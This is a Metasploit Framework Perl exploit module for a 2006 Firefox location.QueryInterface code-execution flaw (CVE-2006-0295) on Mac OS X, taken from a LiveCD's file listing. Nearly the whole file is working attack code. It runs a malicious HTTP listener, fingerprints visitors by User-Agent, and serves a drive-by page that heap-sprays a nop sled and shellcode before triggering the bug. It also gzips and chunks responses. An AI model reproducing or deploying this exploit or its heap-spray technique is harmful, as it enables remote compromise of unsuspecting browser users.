Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/usr/lib/metasploit/exploits/firefox_queryinterface_osx.pm

Perl POD Document | 2006-06-30 | 6.0 KB | 274 lines

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::firefox_queryinterface_osx;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;

my $advanced =
  {
    'Gzip'       => [1, 'Enable gzip content encoding'],
    'Chunked'    => [1, 'Enable chunked transfer encoding'],
  };

my $info =
  {
    'Name'           => 'Firefox location.QueryInterface() Code Execution (Mac OS X)',
    'Version'        => '$Revision: 1.2 $',
    'Authors'        =>
      [
        'H D Moore <hdm [at] metasploit.com>',
      ],

    'Description'    =>
      Pex::Text::Freeform(qq{
        This module exploits a code execution vulnerability in the Mozilla
    Firefox browser. To reliably exploit this vulnerability, we need to fill
    almost a gigabyte of memory with our nop sled and payload. This module has
    been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
}),

    'Arch'           => [ 'ppc' ],
    'OS'             => [ 'osx' ],
    'Priv'           => 0,

    'UserOpts'       =>
      {
        'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
        'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
      },

    'Payload'        =>
      {
        'Space'    => 1024,
        'BadChars' => "\x00",
        'Keys'     => ['-bind'],
      },
    'Refs'           =>
      [
          ['OSVDB', '22893'],
          ['CVE', '2006-0295'],
          ['BID', '16476'],
          ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
      ],

    'DefaultTarget'  => 0,
    'Targets'        =>
      [
        [ 'Mozilla Firefox 1.5.0.0 on Mac OS X' ]
      ],

    'Keys'           => [ 'mozilla' ],

    'DisclosureDate' => 'Feb 02 2006',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit
{
    my $self = shift;
    my $server = IO::Socket::INET->new(
        LocalHost => $self->GetVar('HTTPHOST'),
        LocalPort => $self->GetVar('HTTPPORT'),
        ReuseAddr => 1,
        Listen    => 1,
        Proto     => 'tcp'
    );
    my $client;

    # Did the listener create fail?
    if (not defined($server)) {
        $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
        return;
    }

    my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
        Pex::Utils::SourceIP('1.2.3.4') :
        $self->GetVar('HTTPHOST');

    $self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");

    while (defined($client = $server->accept())) {
        $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
    }

    return;
}

sub HandleHttpClient
{
    my $self = shift;
    my $fd   = shift;

    # Set the remote host information
    my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);


    # Read the HTTP command
    my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
    my $agent;

    # Read in the HTTP headers
    while ((my $line = $fd->RecvLine(10))) {

        $line =~ s/^\s+|\s+$//g;

        my ($var, $val) = split(/\:/, $line, 2);

        # Break out if we reach the end of the headers
        last if (not defined($var) or not defined($val));

        $agent = $val if $var =~ /User-Agent/i;
    }

    my $os = 'Unknown';
    my $vl = ($agent =~ m/\/1\.5$/) ? 'Vulnerable' : 'Not Vulnerable';

    $os = 'Linux'     if $agent =~ /Linux/i;
    $os = 'Mac OS X'  if $agent =~ /OS X/i;
    $os = 'Windows'   if $agent =~ /Windows/i;


    $self->PrintLine("[*] Client connected from $rhost:$rport ($os/$vl).");

    if ($os ne 'Mac OS X') {
        $self->PrintLine("[*] Invalid target for this exploit, trying anyways...");
    } else {
        $self->PrintLine("[*] Sending payload and waiting for execution...");
    }

    my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));

    $fd->Close();
}

sub JSUnescapePPC {
    my $self = shift;
    my $data = shift;
    my $code = '';

    # Encode the shellcode via %u sequences for JS's unescape() function
    my $idx = 0;
    while ($idx < length($data) - 1) {
        my $c1 = ord(substr($data, $idx, 1));
        my $c2 = ord(substr($data, $idx+1, 1));
        $code .= sprintf('%%u%.2x%.2x', $c1, $c2);
        $idx += 2;
    }

    return $code;
}

sub GenerateHTML {
    my $self        = shift;
    my $target      = $self->Targets->[$self->GetVar('TARGET')];
    my $shellcode   = $self->JSUnescapePPC($self->GetVar('EncodedPayload')->Payload);
    my $data        = qq#
<html>
<head>
    <title>One second please...</title>
    <script language="javascript">

        function BodyOnLoad() {
            h = FillHeap();
            location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
        };

        function FillHeap() {
            // Filler
            var m = "";
            var h = "";
            var a = 0;

            // Nop sled
            for(a=0; a<(1024*256); a++)
                m += unescape("\%u6060\%u6060");

            // Payload
            m += unescape("$shellcode");

            // Repeat
            for(a=0; a<1024; a++)
                h += m;

            // Return
            return h;
        }
    </script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
#;
    return $data;
}

sub BuildResponse {
    my ($self, $content) = @_;

    my $response =
      "HTTP/1.1 200 OK\r\n" .
      "Content-Type: text/html\r\n";

    if ($self->GetVar('Gzip')) {
        $response .= "Content-Encoding: gzip\r\n";
        $content = $self->Gzip($content);
    }
    if ($self->GetVar('Chunked')) {
        $response .= "Transfer-Encoding: chunked\r\n";
        $content = $self->Chunk($content);
    } else {
        $response .= 'Content-Length: ' . length($content) . "\r\n" .
          "Connection: close\r\n";
    }

    $response .= "\r\n" . $content;

    return $response;
}

sub Chunk {
    my ($self, $content) = @_;

    my $chunked;
    while (length($content)) {
        my $chunk = substr($content, 0, int(rand(10) + 1), '');
        $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
    }
    $chunked .= "0\r\n\r\n";

    return $chunked;
}

sub Gzip {
    my $self = shift;
    my $data = shift;
    my $comp = int(rand(5))+5;

    my($wtr, $rdr, $err);

    my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
    print $wtr $data;
    close ($wtr);
    local $/;

    return (<$rdr>);
}

1;